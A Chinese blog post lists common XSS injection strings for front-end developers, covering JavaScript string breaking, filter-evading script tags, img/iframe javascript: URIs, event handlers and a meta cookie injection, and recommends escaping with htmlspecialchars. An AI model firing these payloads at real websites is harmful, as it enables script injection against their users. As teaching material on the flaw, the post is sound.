常见的 XSS 注入攻击方式 Part.1

相关链接:http://www.gracecode.com/posts/2491.html

前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。

很多时候会写这样的代码

document.write('u name is' + name); 

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');// ";alert('xss');// '';!--"<xss>=&{()} 

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT> 
<script src=xss.js> </script> 
<script/xss src="xss.js"></script> <script/SRC="xss.js"></script> <<script>alert("xss");//<</script> 
<script>a=/xss/ alert(a.source)</script> 

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');"> <img """><script>alert("xss")</script>"> <img src="xss.php?param"> 

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script> <script =">" SRC="xss.js"></script> <script a=">" '' SRC="xss.js"></script> 

其他容易注入的地方

<body onload=alert('xss')> <iframe src="javascript:alert('xss');"></iframe> <embed src="xss.swf" AllowScriptAccess="always"></embed> <meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>"> 

先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。

此条目发表在dedecms参考分类目录。将固定链接加入收藏夹。

发表评论

邮箱地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>